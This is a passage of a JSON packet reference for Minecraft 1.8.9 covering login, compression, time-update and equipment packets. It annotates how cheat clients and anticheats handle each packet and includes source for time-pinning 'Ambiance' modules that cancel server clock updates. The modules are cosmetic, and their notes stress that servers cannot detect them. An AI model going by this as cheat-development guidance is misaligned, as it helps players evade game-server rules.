    "server_handling": "NetHandlerLoginServer sends S02PacketLoginSuccess after the encryption response validates: the server decrypts the shared secret, verifies the token, joins the session server, then sets its own state to PLAY and sends the packet, optionally preceded by S03PacketEnableCompression when compression is configured. After the send, the server installs its NetHandlerPlayServer. The client treats the packet as authoritative for the session profile.",
    "protocol_notes": "Wire layout: String UUID (36 chars with dashes), then String username (max 16). Compression, when enabled, is negotiated in LOGIN state before this packet, so the first PLAY packet may already be compressed. Ordering: S02PacketLoginSuccess is the last LOGIN-state packet; the connection then expects S01PacketJoinGame as the first PLAY-state packet. The username here can differ from the login-start name when Mojang renames or corrects it.",
    "anticheat_landscape": "None. The packet precedes world state and carries only identity; anti-cheats are irrelevant to it. The security-relevant property is authentication strength: on online-mode servers the UUID is Mojang-signed, on offline servers it is arbitrary, and plugins that trust UUIDs for permissions inherit that trust boundary. No client module in the corpus touches it.",
    "modules": [
     {
      "name": "StaffAlert",
      "found_in": [
       "Rise 5.99"
      ],
      "purpose": "Hypixel staff-ban tracker. Its reference to this packet is an import only; the module does not use S02PacketLoginSuccess.",
      "how_it_works": "The corpus hit is line 18, `import net.minecraft.network.login.server.S02PacketLoginSuccess;`. The module's actual logic captures the Hypixel API key from S02PacketChat, sends /api new until the key is set, and polls api.hypixel.net/punishmentstats on a timer thread. The login-success import, like the S01PacketPong, C00Handshake and S40PacketDisconnect imports, is dead.",
      "detailed_code": null,
      "code_source": "Rise 5.99, dev/rise/module/impl/other/StaffAlert.java",
      "vanilla_hook": "None for this packet; the module hooks PacketReceiveEvent for S02PacketChat and UpdateEvent for polling.",
      "anti_cheat_notes": "Irrelevant here: the import is never exercised. A login-success hook would have let the module reset its timer at session start; the author left the import but never wired it.",
      "variations": "No other client has any module reference to S02PacketLoginSuccess; the remaining corpus hits across all 8 clients are vanilla login plumbing."
     }
    ],
    "client_variations": "All 8 clients ship the stock handleLoginSuccess. Rise 6.x and Tenacity rename handler parameters to final; Spicy and Tenacity keep the same three-line body. None of the clients forks the login handler to emit module events.",
    "related": [
     "S01PacketEncryptionRequest",
     "C00PacketLoginStart",
     "S03PacketEnableCompression",
     "S01PacketJoinGame"
    ],
    "anticheat": {
     "overview": "The login success packet is another near-empty corpus: only Artemis references it, as packet-library plumbing. PacketRepository maps SERVER_LOGIN + 4 to PacketLoginOutSuccess and GPacketLoginServerSuccess wraps the wire format so login traffic is typed. No anticheat reads the UUID or username, because the packet carries only server-asserted identity and arrives before any check-relevant state exists.",
     "checks": [
      {
       "name": "Login success wrapper (Artemis)",
       "found_in": [
        "artemisac-artemis-minecraft-anticheat"
       ],
       "purpose": "Wraps PacketLoginOutSuccess so Artemis's packet library can read the login-success UUID and username from the wire.",
       "how_it_works": "GPacketLoginServerSuccess is linked to the PacketLoginOutSuccess interface and implements ReadableBuffer. Its read method handles both layouts: pre-1.16 reads a 36-char UUID string plus a 16-char name, and 1.16+ reads four ints that are reassembled into a UUID plus the name. The result is stored as a GameProfile.",
       "detects": "None. This is a typed read of server-asserted identity, not a check. No Artemis check subscribes to the packet.",
       "detailed_code": "// ===== FILE: artemisac-artemis-minecraft-anticheat, ac.artemis.packet.spigot/src/main/java/cc/ghast/packet/wrapper/packet/login/GPacketLoginServerSuccess.java =====\npackage cc.ghast.packet.wrapper.packet.login;\n\nimport ac.artemis.packet.protocol.ProtocolVersion;\nimport ac.artemis.packet.spigot.protocol.PacketLink;\nimport ac.artemis.packet.spigot.wrappers.GPacket;\nimport ac.artemis.packet.wrapper.server.PacketLoginOutSuccess;\nimport cc.ghast.packet.buffer.ProtocolByteBuf;\nimport cc.ghast.packet.wrapper.mc.GameProfile;\nimport cc.ghast.packet.wrapper.packet.ReadableBuffer;\n\nimport java.util.UUID;\n\n@PacketLink(PacketLoginOutSuccess.class)\npublic class GPacketLoginServerSuccess extends GPacket implements ReadableBuffer {\n    public GPacketLoginServerSuccess(UUID player, ProtocolVersion version) {\n        super(\"PacketLoginOutServerSuccess\", player, version);\n    }\n\n    private GameProfile gameProfile;\n\n    @Override\n    public void read(ProtocolByteBuf byteBuf) {\n        final UUID uuid;\n        final String username;\n\n        if (version.isOrAbove(ProtocolVersion.V1_16)) {\n            int[] aint = new int[4];\n\n            for(int i = 0; i < aint.length; ++i) {\n                aint[i] = byteBuf.readInt();\n            }\n\n            uuid = decodeUUID(aint);\n            username = byteBuf.readStringBuf(16);\n        } else {\n            final String uid = byteBuf.readStringBuf(36);\n            uuid = UUID.fromString(uid);\n            username = byteBuf.readStringBuf(16);\n        }\n\n        this.gameProfile = new GameProfile(uuid, username);\n    }\n\n    private static UUID decodeUUID(int[] bits) {\n        return new UUID((long)bits[0] << 32 | (long)bits[1] & 4294967295L, (long)bits[2] << 32 | (long)bits[3] & 4294967295L);\n    }\n\n    public GameProfile getGameProfile() {\n        return this.gameProfile;\n    }\n}\n\n// NOTE (AI): The wrapper is the only non-vanilla corpus artifact for the login success packet. The PacketRepository mapping sits at SERVER_LOGIN + 4.",
       "code_source": "artemisac-artemis-minecraft-anticheat, ac.artemis.packet.spigot/src/main/java/cc/ghast/packet/wrapper/packet/login/GPacketLoginServerSuccess.java",
       "variations": "The other 49 anticheats never reference the packet. Its only role in the corpus is keeping Artemis's login-state stream typed."
      }
     ]
    }
   },
   "wiki_notes": [
    "The username returned here is authoritative and can differ from the name sent in Login Start when accounts are renamed or corrected, so clients should adopt this profile for the session.",
    "MCP 1.8.9 S02PacketLoginSuccess implements Packet<INetHandlerLoginClient> dispatching to INetHandlerLoginClient.handleLoginSuccess; wire serde is readPacketData/writePacketData via readStringFromBuffer.",
    "1.8.9 callers: NetHandlerLoginServer.operationComplete sends new S02PacketLoginSuccess (line 128): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/server/network/NetHandlerLoginServer.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S02PacketLoginSuccess/",
   "mcp_path": "net/minecraft/network/login/server/S02PacketLoginSuccess.java",
   "group": "login-client",
   "logic_classes": [
    "NetHandlerLoginServer"
   ]
  },
  {
   "id": "S03PacketEnableCompression",
   "hex": "0x03",
   "dec": 3,
   "dir": "CLIENTBOUND",
   "state": "LOGIN",
   "name": "Enable Compression",
   "desc": "Enables zlib compression for all subsequent packets. Sets the compression threshold: packets >= this size are compressed.",
   "tags": [
    "login",
    "compression"
   ],
   "fields": [
    {
     "name": "compressionThreshold",
     "type": "VarInt",
     "desc": "Minimum packet size in bytes before compression is applied. -1 disables compression."
    }
   ],
   "encoding": [
    [
     "Threshold",
     "VarInt",
     "Typically 256 in vanilla; -1 = disabled"
    ]
   ],
   "mcp": [
    "NetHandlerLoginClient.handleEnableCompression()"
   ],
   "handler": "INetHandlerLoginClient",
   "notes": "After this packet, all future packets start with a VarInt prefix indicating the uncompressed length. If length=0, the data is uncompressed (smaller than threshold). If length>0, the remaining data is zlib-compressed and must be inflated.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "The only compression control in the 1.8 protocol, sent in the LOGIN state before the play state begins. NetHandlerLoginServer emits it with the server's configured compression threshold (vanilla 256) immediately after the login sequence accepts the player, and defers the login-to-play state flip until the write lands via a ChannelFutureListener. From that point every packet on the connection is framed with a VarInt uncompressed-length prefix: 0 means the payload is raw (below threshold), any other value means the remaining bytes are zlib data the receiver must inflate. A threshold of -1 disables compression entirely."
     },
     {
      "h": "Vanilla handling",
      "p": "The client handler NetHandlerLoginClient.handleEnableCompression (func_180464_a in the MCP-named builds) does exactly one thing: networkManager.setCompressionTreshold(threshold), which swaps a compressor/decompressor codec into the Netty pipeline. The packet is processed on the Netty thread during the login phase, before the module event bus is wired to any gameplay traffic. None of the 8 clients modifies this handler: the corpus shows the vanilla file verbatim in Memeware, Nekoware, Sigma, Spicy and Tenacity, and the Rise 6.1.30/6.2.4 copies repackaged under Client-release2/Client/src/main/java with identical logic."
     },
     {
      "h": "Why clients never touch it",
      "p": "The corpus contains zero non-vanilla references for this packet across all 8 clients. Intercepting it is structurally pointless: the server decides compression unilaterally and compresses anything at or past its threshold, so a client that cancels the packet desynchronizes framing and dies on the next oversized packet instead of gaining anything. The only lever would be injecting a raw ChannelHandler ahead of the codec to observe decompressed traffic earlier, which none of the 8 clients does. Modules are also simply not active during login: the connection has no world, no player and no module state."
     },
     {
      "h": "Exploit surface",
      "p": "None exercised in the corpus. The packet arrives before any gameplay traffic, so anti-cheats never evaluate it and there is nothing to flag. The only failure mode is protocol-level: a client that ignores the threshold breaks framing once the first oversized packet crosses the wire, which shows up as a connection drop, not an exploit. Compression here is a bandwidth optimization, not a security boundary."
     }
    ],
    "overview": "Login-state one-shot that announces the server's compression threshold (vanilla 256) and flips both directions of the connection onto the zlib codec before play begins. No module in any of the 8 clients references it: login handlers sit outside the module event bus and the server frames compressed packets unilaterally, so there is nothing to intercept and nothing to gain.",
    "server_handling": "NetHandlerLoginServer sends S03PacketEnableCompression(this.server.getNetworkCompressionTreshold()) right after the login sequence accepts the player and before the connection state flips to PLAY. The write is paired with a ChannelFutureListener so the state transition only happens once the packet is flushed. After this point the server-side pipeline compresses any outgoing packet whose encoded size reaches the threshold, and expects the client to do the same in the reverse direction. The threshold is server configuration, typically 256 in vanilla; -1 disables compression.",
    "protocol_notes": "Wire format is a single VarInt threshold (readVarIntFromBuffer / writeVarIntToBuffer in MCP). The length-prefix framing applies to every subsequent packet in both directions: a zero prefix marks a raw payload, a nonzero prefix gives the uncompressed length of the zlib data that follows. The switch is asymmetric in time: the S03 packet itself travels uncompressed, then both directions switch together. Ordering is preserved because the pipeline mutation is deferred until the packet write completes, so no packet can slip across the boundary mis-framed.",
    "anticheat_landscape": "Anti-cheats never see this packet: it is exchanged before the play state and before any gameplay event they track. The only party that could abuse compression framing is a MITM or proxy, and that is a transport-layer concern outside the packet itself. For cheat development the practical consequence is that packet-level inspection and injection sit above the codec in every one of the 8 clients, so compression is transparent to module code.",
    "modules": [],
    "client_variations": "All 8 clients ship the vanilla login handler. The corpus deltas are cosmetic: MCP-named func_180464_a in Memeware, Nekoware and Sigma versus handleEnableCompression in Rise, Spicy and Tenacity, plus the Rise 6.x repackaging under Client-release2/Client/src/main/java. No client registers a packet event for login-state traffic at all.",
    "related": [
     "S01PacketEncryptionRequest",
     "S02PacketLoginSuccess"
    ],
    "anticheat": {
     "overview": "S03PacketEnableCompression is exchanged in the LOGIN state, before the anticheat pipeline exists, and the 50-anticheat corpus contains exactly one anticheat: Artemis, with two files that are packet-type plumbing, not checks. PacketRepository maps SERVER_LOGIN + 3 to PacketLoginOutSetCompression, and the packet interface itself is declared in the wrapper API. No anticheat hooks login-state traffic, and the server decides the compression threshold unilaterally, so there is nothing to validate, cancel or flag. The checks list is empty by corpus fact, not by omission.",
     "checks": []
    }
   },
   "wiki_notes": [
    "The packet is entirely optional: if compression is disabled the vanilla server simply never sends it rather than sending a disable value.",
    "When present it must be sent before Login Success, and everything after it uses the compressed packet format with a VarInt uncompressed-length prefix per packet.",
    "MCP 1.8.9 S03PacketEnableCompression implements Packet<INetHandlerLoginClient> dispatching to INetHandlerLoginClient.handleEnableCompression; wire serde is readPacketData/writePacketData via readVarIntFromBuffer.",
    "1.8.9 callers: NetHandlerLoginServer.tryAcceptPlayer sends new S03PacketEnableCompression (line 119): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/server/network/NetHandlerLoginServer.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S03PacketEnableCompression/",
   "mcp_path": "net/minecraft/network/login/server/S03PacketEnableCompression.java",
   "group": "login-client",
   "logic_classes": [
    "NetHandlerLoginServer"
   ]
  },
  {
   "id": "S03PacketTimeUpdate",
   "hex": "0x03",
   "dec": 3,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Time Update",
   "desc": "Synchronizes the world time (total world age and day/night cycle time). Sent every few seconds or when time accelerates (sleeping).",
   "tags": [
    "world",
    "time"
   ],
   "fields": [
    {
     "name": "totalWorldTime",
     "type": "long",
     "desc": "Total ticks since world creation (monotonically increasing)"
    },
    {
     "name": "worldTime",
     "type": "long",
     "desc": "Current day/night time (0-24000). worldTime % 24000 for time-of-day."
    }
   ],
   "encoding": [
    [
     "World Age",
     "long",
     "Incremented each tick"
    ],
    [
     "Time of Day",
     "long",
     "0-24000, wraps around"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleTimeUpdate()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "Time values: 0=dawn, 6000=noon, 12000=sunset, 18000=midnight. When all players sleep, time jumps to 0 (dawn). S03 is used by modules to calculate server TPS (ticks per second) by measuring the time between S03 updates.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "Two longs, totalWorldTime and worldTime, broadcast by MinecraftServer to every player in a dimension once per second (tickCounter % 20 == 0, line ~701 in the MCP builds) and re-sent on player join by ServerConfigurationManager (line ~787). worldTime is the day/night counter the client renders modulo 24000: 0 dawn, 6000 noon, 12000 sunset, 18000 midnight. The constructor folds the doDaylightCycle gamerule into the wire format by negation: when the rule is off the server transmits -worldTime, so the sign bit is the freeze flag and the boolean never exists as a packet field."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleTimeUpdate runs on the main thread via PacketThreadUtil and performs two writes: theWorld.setTotalWorldTime(packet.func_149366_c()) and theWorld.setWorldTime(packet.func_149365_d()). Between corrections the client advances time-of-day itself in its tick loop, so the packet is a periodic correction, not the clock source. That is the property the Ambiance family exploits: cancel the correction and the locally pinned time holds until the next one would have arrived."
     },
     {
      "h": "Why clients touch it",
      "p": "The Ambiance family spans Memeware 7.3, Rise 5.99, Rise 6.1.30, Rise 6.2.4 and LiquidSense Dev (the AquaVit fork), and Tenacity 6.0 ships the same idea as AlwaysNight. All six cancel S03 on the receive event and overwrite world time on a per-frame hook: Memeware writes 0 or 20000 depending on a Morning/Night mode, Rise 5.99 writes time + elapsed * timeSpeed, Rise 6.x adds weather forcing, LiquidSense Dev offers Daytime/Night/DIY/DayWithNight with a cycling counter, Tenacity writes a configurable value defaulting to 12000. Notably absent is Fullbright: it is a gamma/lighting override that never touches this packet, and no TPS estimator in the corpus derives server lag from S03 deltas even though the two longs are a natural clock."
     },
     {
      "h": "Exploit surface",
      "p": "Cosmetic only and invisible to the server, because the client never reports displayed time back. Observers see the desync side effects: a pinned clock shows a frozen sky on the client's own screen, and when all players sleep and the server jumps time to 0 the module visibly fights the correction. No anti-cheat measures this packet. The only hazard is a module that writes worldTime unclamped, which can push the negative freeze encoding into the local renderer and break the sky shader path."
     }
    ],
    "overview": "Once-per-second world-clock correction (two longs, doDaylightCycle encoded as a sign bit). Six modules across the 10 clients cancel it and pin the client clock locally, all with the same two-step shape: cancel on receive, rewrite on frame. Pure client-side cosmetics with zero server visibility.",
    "server_handling": "MinecraftServer broadcasts S03PacketTimeUpdate(totalWorldTime, worldTime, doDaylightCycle) to all players in the dimension every 20 ticks (line ~701), and ServerConfigurationManager sends a fresh copy on player join (line ~787). When doDaylightCycle is false the server negates worldTime before sending; the constructor also maps a negated 0 to -1 so the freeze flag survives the zero case. The server never validates or rates the packet stream because it is the sole author.",
    "protocol_notes": "Two raw longs on the wire; the third constructor argument (doDaylightCycle) is encoded by negation, so worldTime < 0 means the day/night cycle is frozen server-side and the client should display abs(worldTime) without local advancement. Clients that only read the longs (all 5 module implementations here) are unaffected by the sign trick. The packet is sent in the PLAY state and is dimension-scoped, so it stops at the dimension boundary and a fresh one arrives on respawn.",
    "anticheat_landscape": "No anti-cheat flags time manipulation: the client clock is cosmetic, server-authoritative only in the sense that the server periodically corrects it, and nothing gameplay-relevant derives from it. The modules are undetectable from the wire because cancellation happens before the packet reaches the vanilla handler and no corresponding serverbound traffic exists.",
    "modules": [
     {
      "name": "Ambiance / Ambience",
      "found_in": [
       "Memeware 7.3",
       "Rise 5.99",
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Pin the client's day/night clock to a fixed value by cancelling server time corrections.",
      "how_it_works": "A receive-side packet event cancels every S03PacketTimeUpdate, then a per-frame hook rewrites the world clock: Memeware 7.3 sets 0 (Morning) or 20000 (Night) on UpdateEvent; Rise 5.99 computes time + elapsedMillis * timeSpeed on Render3D; Rise 6.x does the same and additionally forces weather by cancelling S2BPacketChangeGameState states 1 and 2. The cancel prevents the server value from ever landing, so the local write is the only clock.",
      "detailed_code": "// ===== FILE: Memeware 7.3, me/memewaredevs/client/module/render/Ambiance.java =====\npackage me.memewaredevs.client.module.render;\n\nimport me.hippo.api.lwjeb.annotation.Handler;\nimport me.memewaredevs.client.event.events.PacketInEvent;\nimport me.memewaredevs.client.event.events.UpdateEvent;\nimport me.memewaredevs.client.module.Module;\nimport net.minecraft.network.play.server.S03PacketTimeUpdate;\n\nimport java.util.function.Consumer;\n\npublic class Ambiance extends Module {\n\n\tpublic Ambiance() {\n\t\tsuper(\"Ambience\", 0, Module.Category.RENDER);\n\t\tthis.addModes(\"Morning\", \"Night\");\n\t}\n\n\t@Handler\n\tpublic Consumer<PacketInEvent> eventConsumer0 = (event) -> {\n\t\tif (event.getPacket() instanceof S03PacketTimeUpdate) {\n\t\t\tevent.cancel();\n\t\t}\n\t};\n\n\t@Handler\n\tpublic Consumer<UpdateEvent> eventConsumer1 = (event) -> {\n\t\tmc.theWorld.getWorldInfo().setWorldTime(this.isMode(\"Morning\") ? 0 : 20000);\n\t};\n\n}\n\n// NOTE (AI): The class is Ambiance but the module registers under the name 'Ambience'.\n// The two modes map to worldTime 0 (dawn) and 20000 (night, 24000 - 4000). Cancelling on\n// PacketInEvent and writing on UpdateEvent means the client clock survives every server\n// correction; because no packet reports time back, the server cannot observe the desync.\n// This is the smallest complete example of the cancel-and-pin pattern in the corpus.\n",
      "code_source": "Memeware 7.3, me/memewaredevs/client/module/render/Ambiance.java",
      "vanilla_hook": "PacketInEvent (cancel); UpdateEvent (rewrite).",
      "anti_cheat_notes": "No detection surface: the packet is receive-only, the server never learns the client's displayed time, and the cancelled packets are invisible on the wire. The only tell is a frozen or wrong sky on the client's own screen.",
      "variations": "Rise 5.99 cancels on PacketReceiveEvent and writes time + elapsed * timeSpeed on Render3DEvent. Rise 6.1.30 and 6.2.4 (renamed Ambience) add a weather mode that also cancels S2BPacketChangeGameState rain/thunder states, a snow color override and a temperature hook for particle rendering. Rise 6.x additionally whitelists S03 in the script API (com/alan/clients/script/api/NetworkAPI.java) so JS scripts can observe it."
     },
     {
      "name": "AlwaysNight",
      "found_in": [
       "Tenacity 6.0"
      ],
      "purpose": "Hold the client's world time at a configurable value (default 12000, midnight) by cancelling server time updates.",
      "how_it_works": "A PacketReceiveEvent handler cancels S03PacketTimeUpdate; onEnable and a render-tick listener write the configured value into the world, and onDisable restores time 0. The number setting accepts any value in 0..24000 in 1000-step increments, so the module is a general time pin despite the AlwaysNight name.",
      "detailed_code": "// ===== FILE: Tenacity 6.0, dev/tenacity/module/impl/world/AlwaysNight.java =====\npackage dev.tenacity.module.impl.world;\n\nimport com.viaversion.viaversion.libs.kyori.adventure.util.Ticks;\nimport dev.tenacity.event.IEventListener;\nimport dev.tenacity.event.impl.packet.PacketReceiveEvent;\nimport dev.tenacity.module.Module;\nimport dev.tenacity.module.ModuleCategory;\nimport dev.tenacity.setting.impl.NumberSetting;\nimport net.minecraft.network.play.server.S03PacketTimeUpdate;\n\npublic class AlwaysNight extends Module {\n\n    private final NumberSetting time = new NumberSetting(\"Time\", 12000, 0, 24000, 1000);\n\n    public AlwaysNight() {\n        super(\"Ambience\", \"Set world time\", ModuleCategory.WORLD);\n        initializeSettings(time);\n    }\n\n    public void update() {\n        mc.theWorld.setWorldTime((long) time.getCurrentValue());\n    }\n    private final IEventListener<Ticks> onRender2d = e -> {\n        if (mc.theWorld != null) {\n            mc.theWorld.setWorldTime((long) time.getCurrentValue());\n            update();\n        }\n    };\n\n    @Override\n    public void onEnable() {\n        if (mc.thePlayer != null) {\n            mc.theWorld.setWorldTime((long) time.getCurrentValue());\n            update();\n        }\n        super.onEnable();\n    }\n    @Override\n    public void onDisable() {\n        if (mc.thePlayer == null) {\n            return;\n        }\n        mc.theWorld.setWorldTime((0));\n        super.onDisable();\n    }\n\n    private final IEventListener<PacketReceiveEvent> onPacketReceive = event -> {\n        if (event.getPacket() instanceof S03PacketTimeUpdate) {\n            event.cancel();\n        }\n    };\n}\n\n// NOTE (AI): The class is AlwaysNight but the module registers under the alias 'Ambience'\n// in the WORLD category, and the Time setting defaults to 12000. The onRender2d listener\n// rewrites the clock every frame, which keeps the pinned time stable between the cancelled\n// S03 corrections. onDisable resets to 0 rather than to the server value, a cosmetic choice\n// that differs from the Rise and Memeware implementations.\n",
      "code_source": "Tenacity 6.0, dev/tenacity/module/impl/world/AlwaysNight.java",
      "vanilla_hook": "PacketReceiveEvent (cancel); render tick (rewrite).",
      "anti_cheat_notes": "Identical to the Ambiance family: receive-side cancellation is unobservable by the server, and no gameplay state depends on the client clock.",
      "variations": "Tenacity is the only one of the 8 clients that ships this as a World-category module with a user-configurable value; the other four hardcode or speed-adjust the time in the render category."
     },
     {
      "name": "Ambience (LiquidSense Dev)",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Pin the client's day/night clock by cancelling every S03PacketTimeUpdate, with four time modes, in the AquaVit LiquidSense fork (LiquidBounce base).",
      "how_it_works": "onPacket cancels any PacketEvent whose packet is an S03PacketTimeUpdate. onUpdate advances a private counter a by the DayWithNight step on an MSTimer and rewrites the world clock per mode: Daytime 1000, Night 16000, DIY the configured value (default 13000), DayWithNight the cycled counter wrapped at 24000.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, me/AquaVit/liquidSense/modules/render/Ambience.java =====\npackage me.AquaVit.liquidSense.modules.render;\n\nimport net.ccbluex.liquidbounce.event.EventTarget;\nimport net.ccbluex.liquidbounce.event.PacketEvent;\nimport net.ccbluex.liquidbounce.event.Render2DEvent;\nimport net.ccbluex.liquidbounce.event.UpdateEvent;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.utils.MovementUtils;\nimport net.ccbluex.liquidbounce.utils.timer.MSTimer;\nimport net.ccbluex.liquidbounce.value.IntegerValue;\nimport net.ccbluex.liquidbounce.value.ListValue;\nimport net.minecraft.client.renderer.GlStateManager;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.network.play.server.S03PacketTimeUpdate;\n\n@ModuleInfo(name = \"Ambience\", description = \"Ambience\", category = ModuleCategory.RENDER)\npublic class Ambience extends Module {\n    private final ListValue modeValue = new ListValue(\"Mode\", new String[] {\"Daytime\",\"Night\",\"DIY\",\"DayWithNight\"}, \"Night\");\n    private final IntegerValue time = new IntegerValue(\"DIYTime\", 13000, 0, 24000);\n    private final IntegerValue don = new IntegerValue(\"DayWithNight\", 10, 1, 24000);\n    int a;\n    MSTimer Timer = new MSTimer();\n    @Override\n    public void onEnable() {\n        a = 0;\n    }\n\n    @EventTarget\n    public void onPacket(PacketEvent event) {\n        final Packet<?> packet = event.getPacket();\n        if (packet instanceof S03PacketTimeUpdate) {\n            event.cancelEvent();\n        }\n    }\n    @EventTarget\n    public void onUpdate(UpdateEvent event) {\n        if (this.Timer.hasPassed(1F)) {\n            ++this.a;\n            this.a = this.a + don.get();\n            this.Timer.reSet();\n        }\n        if (a >= 24000) {\n            a = 0;\n        }\n\n        if(modeValue.get().equalsIgnoreCase(\"Daytime\")){\n            mc.theWorld.setWorldTime((long)1000);\n        }\n        if(modeValue.get().equalsIgnoreCase(\"Night\")){\n            mc.theWorld.setWorldTime((long)16000);\n        }\n        if(modeValue.get().equalsIgnoreCase(\"DIY\")){\n            mc.theWorld.setWorldTime(time.get());\n        }\n        if(modeValue.get().equalsIgnoreCase(\"DayWithNight\")){\n            mc.theWorld.setWorldTime(a);\n        }\n\n    }\n\n}\n\n\n// NOTE (AI): AquaVit's LiquidSense is a renamed LiquidBounce fork (net.ccbluex.liquidbounce event/value packages with me.AquaVit.liquidSense module packages). The module is the same cancel-and-pin shape as the rest of the Ambiance family; the DayWithNight mode is the only cycling implementation in the corpus.",
      "code_source": "LiquidSense Dev, me/AquaVit/liquidSense/modules/render/Ambience.java",
      "vanilla_hook": "PacketEvent (receive, @EventTarget) to cancel; UpdateEvent to rewrite.",
      "anti_cheat_notes": "Identical to the Ambiance family: receive-side cancellation is unobservable by the server and no gameplay state depends on the client clock, so there is no flag surface.",
      "variations": "The AquaVit fork is the LiquidSense Dev representative; the CCBlueX LiquidBounce Dev tree itself has no S03 module hit in the corpus. Memeware/Rise pin two hardcoded values, Tenacity's AlwaysNight is configurable with no cycle, and this fork adds a DayWithNight cycling mode driven by an MSTimer."
     }
    ],
    "general_hooks": "PacketReceiveEvent (PacketInEvent on Memeware, PacketEvent on LiquidSense Dev) to cancel, plus a per-frame hook (UpdateEvent, Render3DEvent or render tick) to rewrite world time.",
    "client_variations": "Memeware uses the lwjeb-style PacketInEvent with event.cancel(); Rise 5.99 and 6.x use PacketReceiveEvent with setCancelled and write on Render3D; Tenacity uses its IEventListener<PacketReceiveEvent> and cancels via event.cancel(). All six share the same two-step shape: cancel the correction, then own the clock. LiquidSense Dev (AquaVit fork) cancels via @EventTarget PacketEvent and rewrites on UpdateEvent driven by an MSTimer, adding the only cycling (DayWithNight) mode in the corpus.",
    "related": [
     "S2BPacketChangeGameState",
     "S07PacketRespawn",
     "S05PacketSpawnPosition"
    ],
    "anticheat": {
     "overview": "The time update packet is a server-authoritative clock correction: two longs broadcast once per second, with the doDaylightCycle gamerule folded into the sign of worldTime. Server-side anticheats never reference it. The corpus sweep for the packet names S03PacketTimeUpdate and PacketPlayOutTimeUpdate returns zero hits, and the keyword pass over 'Time' only surfaces timer utilities, TimeUtil classes and tick-delta heuristics, none of which read this packet. The client never reports its displayed time back, so the cancel-and-pin time modules are invisible on the wire and no check in any cloned anticheat targets them.",
     "checks": []
    }
   },
   "wiki_notes": [
    "Time runs at 20 ticks per second with 24000 ticks per day, and time of day is the world time modulo 24000.",
    "The default server increments world time by 20 every second.",
    "MCP 1.8.9 S03PacketTimeUpdate implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleTimeUpdate; wire serde is readPacketData/writePacketData via readLong.",
    "1.8.9 callers: MinecraftServer.updateTimeLightAndEntities sends new S03PacketTimeUpdate (line 762) +1 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/server/MinecraftServer.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S03PacketTimeUpdate/",
   "mcp_path": "net/minecraft/network/play/server/S03PacketTimeUpdate.java",
   "group": "play-client",
   "logic_classes": [
    "ServerConfigurationManager"
   ]
  },
  {
   "id": "S04PacketEntityEquipment",
   "hex": "0x04",
   "dec": 4,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Entity Equipment",
   "desc": "Updates an entity's equipped item in a specific slot (main hand, armor slots).",
   "tags": [
    "entity",
    "equipment",
    "item"
   ],
   "fields": [
    {
     "name": "entityId",
     "type": "VarInt",
     "desc": "Entity ID"
    },
    {
     "name": "slot",
     "type": "short",
     "desc": "0=mainHand, 1-4=armor (boots/legs/chest/helmet)"
    },
    {
     "name": "item",
     "type": "Slot",
     "desc": "ItemStack equipped"
    }
   ],
   "encoding": [
    [
     "Entity ID",
     "VarInt",
     ""
    ],
    [
     "Slot",
     "short",
     "0=held, 1=boots, 2=legs, 3=chest, 4=helmet"
    ],
    [
     "Item",
     "Slot",
     "ItemStack or null"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleEntityEquipment()"
   ],
   "handler": "INetHandlerPlayClient",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "Per-slot equipment sync for tracked entities. EntityTrackerEntry pushes it when a tracked entity's equipment changes (line ~399 in the bundled sources) and EntityLivingBase broadcasts it on item or armor updates (line ~1644). The payload is the entity id, a short slot 0-4 (0 held item, 1-4 boots/legs/chest/helmet) and a Slot-encoded ItemStack that may be null to clear. The initial burst arrives at entity spawn so the client can render held items and armor before other entity data matters."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleEntityEquipment resolves the entity and calls setCurrentItemOrArmor(slot, item), which writes into the EntityLivingBase equipment array that the render layers read every frame. The local player is exempt: the client's own equipment never arrives as S04, it is driven by inventory and held-item packets, so this channel is strictly about other entities."
     },
     {
      "h": "Why clients barely touch it",
      "p": "The corpus yields two non-vanilla references, both dead imports: Rise 5.99 Aura.java imports S04 at line 43 and never uses it in the body, and Sigma 4.11 InventoryManager.java imports it at line 30 while actually processing S09PacketHeldItemChange and S1CPacketEntityMetadata. Rise 6.1.30/6.2.4 expose it only through the script API whitelist (NetworkAPI.java line 50). No ESP, tracer, nametag or AntiBot module hooks it, because those features read the equipment array the vanilla handler already updated: intercepting the packet would duplicate state the client already owns."
     },
     {
      "h": "Exploit surface",
      "p": "None in the corpus. The packet is server-authored and the client has no serverbound equipment channel to abuse. The theoretical value is weapon-switch intelligence: slot-0 S04 deltas reveal exactly when a tracked opponent swaps tools, which is timing data a combat module could use, but none of the 8 clients implements it. Anti-cheats do not police the packet because the client cannot influence it."
     }
    ],
    "overview": "Equipment sync for tracked entities that the vanilla handler commits straight into EntityLivingBase, which is why every armor-aware feature in the 8 clients reads the fields instead of the packet. The only non-vanilla references are two dead imports (Rise 5.99 Aura, Sigma 4.11 InventoryManager) and the Rise 6.x script whitelist; no module processes it, so the module list is empty by corpus fact, not by omission.",
